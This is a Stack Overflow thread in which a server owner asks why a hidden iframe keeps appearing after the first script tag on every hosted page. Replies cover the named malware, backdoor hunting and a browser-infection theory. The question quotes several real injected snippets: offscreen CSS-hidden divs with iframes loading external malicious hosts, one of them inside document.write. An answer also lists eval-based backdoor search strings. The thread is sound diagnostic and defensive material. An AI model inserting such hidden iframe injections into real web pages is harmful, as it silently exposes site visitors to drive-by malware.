3

A few months ago, a hidden iFrame started showing up on every page on every site on our dedicated server. When we took the sites down for maintenance with a 503, the iFrame was still there on the down for maintenance page. Eventually, the host blocked the source of the iFrame, but we never found the backdoor. The injected iFrame looked something like this, but wrapped in a style tag to obfuscate and with various URLs:

iframe src="http://heusnsy.nl/32283947.html..

We moved our smaller sites to a different host, and they've been fine.

We moved our main site to a new dedicated server on the same host, and despite our efforts to lock down the server - firewalls, restricted access, software updates, inspecting every file - the iFrame returned.

We've looked everywhere to locate how this is getting in - config files, htaccess - but can't find it.

Any idea where the hidden iFrame injection vulnerabilities could be?

Edit : Here are more details: Linux machine running Apache and PHP. Latest versions of everything. The code the was injected looks like this:

<style>.ivx4di91j1 { position:absolute; left:-1418px; top:-1348px} </style> <div class="ivx4di91j1"><iframe src="heusnsy.nl/32283947.html..

Update : Here is more information and what we have learned:

host: Station CentOS Linux 6.3 - Linux 2.6.32-279.5.1.el6.x86_64 on x86_64 / Apache version 2.2.15 - PHP 5.3.3 (cli) (built: Jul 3 2012 16:53:21)

  1. Server itself is not compromised.

  2. All the services including (apache/php) are upgraded to the latest versions available for our system.

  3. No accounts (ftp or otherwise) were compromised.

  4. Malware changes it's destination URL (iframe src=) simultaneously on several infected sites. (Courtesy of unmaskparasites.com)

  5. During the change of the src target, no rogue or hidden processes were executed/running.

  6. TCPDUMP got the code of the malware while leaving out of port 80 tcp but nothing strange was found in the GET request from the user receiving the malware - nothing strange was found in the corresponding apache access logs too.

  7. Website files or the httpd/php binary's were not changed in any way during the switch of src url address of the iFrame - courtesy of md5sum check.

  8. No rogue connections were made on the known ports for the known services during the change. Firewall takes care for the rest.

  9. rkhunter and maldet came up with no results.

  10. Malware iFrame gets triggered and injected right after the first "</script>" tag on any page having this tag, on all accounts and websites on this server.

  11. Malware gets injected into static pages and on sites without database connections. (it is enough for the page to have <head> </script></head> tags)

  12. No rogue apache modules or php modules (excluding mycript.so) were installed. Most of the default apache modules are suspended and commented out.

  13. Malware is not constantly present. It comes and goes, sometimes it's off for several hours, and then shows up for several users and goes out again. Making it extremely hard to trace.

  14. 100% of the php codes and most of the javascript codes runing on our sites (except the phpmyadmin one) are custom coded. The only thing that is not are the Jquery libs.

Server is high traffic machine and searching/matching in logs is extremely slow. Weekly access log can become over 15gb.

That's the situation... It's no longer a matter of compromised accounts, hacked files, rogue scripts. This is something beyond anything we've seen so far and the cause is hidden somewhere in the apache/php itself. (At least this is what we think). Any help or ideas are much appreciated.

Here are examples of the iFrame injection:

<script src="/templates/js/jquery-1.4.2.min.js" type="text/javascript"></script><style>.pw0xxs { position:absolute; left:-1795px; top:-1357px} </   style> <div class="pw0xxs"><iframe src="http://infectedsite.com/84064443.html" width="167" height="332"></iframe></div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js" type="text/javascript"></script><style>.h3fuonj6 { position:absolute; left :-1012px; top:-1348px} </style> <div class="h3fuonj6"><iframe src="http://infectedsite.com/13334443.html" width="236" height="564"></iframe></div >

</script><style>.exm31sfk8l { position:absolute; left:-1349px; top:-1836px} </style> <div class="exm31sfk8l"><iframe src="http://infectedsite.com/79144443.html" wid th="559" height="135"></iframe></div> document.write('<style>.exm31sfk8l { position:absolute; left:-1349px; top:-1836px} </style> <div class="exm31sfk8l"><iframe src="http://ksner.pl/79144443.ht ml" width="559" height="135"></iframe></div>');// ColorBox v1.3.19.3 - jQuery lightbox plugin

</script><style>.rv9mlj { position:absolute; left:-1698px; top:-1799px} </style> <div class="rv9mlj"><iframe src="http://infectedsite.com/42054443. html" width="163" height="409"></iframe></div>

<script src="./js/cross_framing_protection.js?ts=1344391602" type="text/javascript"></script><style>.rv9mlj { position:absolute; left:-1698px; top:-1799px}  </style> <div class="rv9mlj"><iframe src="http://infectedsite.com/42054443.html" width="163" height="409"></iframe></div>

Roy Nylund
  • 41
  • 1
  • 3
  • What was the site you were hosting? What server software do you use (and what version?) What operating system? What supporting technologies? Congratulations, your car won't start. What kind of car do you drive? – Wug Aug 14 '12 at 15:27
  • Without any code, there is no way of knowing for us. – Sirko Aug 14 '12 at 15:27
  • Who is your host? Has your firewall noticed anything? Does restarting the server fix it temporarily? Can you isolate any unusual access? Is there any trace of it in the filesystem anywhere? – Wug Aug 14 '12 at 15:29
  • Does the site still exhibit this anomalous behavior and where can I see it? – Wug Aug 14 '12 at 15:30
  • Are all of your file modification times consistent with when you last accessed them? Is your password "password", "123456", or less than 4 letters? – Wug Aug 14 '12 at 15:31
  • Sorry. Here are more details: Linux machine running Apache and PHP. Latest versions of everything. The code the was injected looks like this:
    – Roy Nylund Aug 14 '12 at 15:43
  • Hey Roy, if you move your site, and it's still there, then it's on somewhere, do you have some kind of configuration on database? or in any other source, that could be imported by some PHP code? It sounds like you have some kind of injection on your application. – Gonzalo Aug 14 '12 at 19:54
  • Yeah, we're trying to find out if it somehow moved with us, but we've inspected the code and can't see any problems, and we're pretty sure the databases have nothing to so with it and can't be the source. At this point, we're wondering if it's a network issue, since it's the same host, and it the pages seem to be leaving our server fine when we grab them out of the port. – Roy Nylund Aug 14 '12 at 20:16

3 Answers3

3

Check it...the miscreant author of the program that jacked up your server is known as "Left4Dead" -- his iframe injection doo-hicky is called "BlackLeech." You can find this gent and his advert on Damagelab .org (CRIMINAL FORUM!!).

Every time root logs in, the malware ceases all activity, or if you SSH into your server. It also monitors system monitoring tools :|

Screen shot of Damagelab .org advert:

http://imgur.com/NRQQl

Text of malware advert by the author:

http://pastebin.com/u7AcYSNi

notice how your thread is listed as a reference :))

if you need help with translation, hit me up!

dan
  • 31
  • 2
0

I would roughly classify the source of initial infection in two groups: (1) your site was compromised using some vulnerability (if you're using an open source engine like Wordpress or Joomla you should check the current vulnerabilities, you can start with exploit-db.com) (2) your site's CMS was accessed using weak credentials (as it is already noted in the comments to your question)

Reappearing of the code indicates, that the source of infection is still there. Usually it is a PHP script, that receives a string as an argument (likely encoded in base64 or otherwise), decodes and executes it using eval. I guess you did not change the domain name, so the bad guy have some script on his machine that regularly requests his "backdor" and re-infects your system.

How do you find this script? Your options:

  • See the access log. Look for suspicious strings like something.php?e=asSdfdSsafas== or POST request to the the script that is not part of your site.

  • Scan all the files using string search, look for "eval($_POST['" or "eval($_GET['" or just "eval" and then find the files that are not likely to be the part of your site engine.

Hope this will help Bests

Vadim K.
  • 91
  • 4
  • Thanks Vadim. That was helpful. I just updated the question with more details from what we have since learned. – Roy Nylund Aug 16 '12 at 14:55
0

A few days ago I had an incident with some banners populating a site I manage. Finally I could get rid of it. You can check the full answer here.

The problem was that a javascript code was being appended to textareas. Probably, the browser was infected and appending the undesired extra code that caused the iframe load.

Your situation is different, but maybe it can help: if you are using a WYSIWYG editor to handle your content in the backend, or someone else is doing that, there is a chance that the iframe is being created by a javascript appended to textareas or inputs.

A different approach. Hope it helps!

Community
  • 1
  • 1
JLight
  • 111
  • 7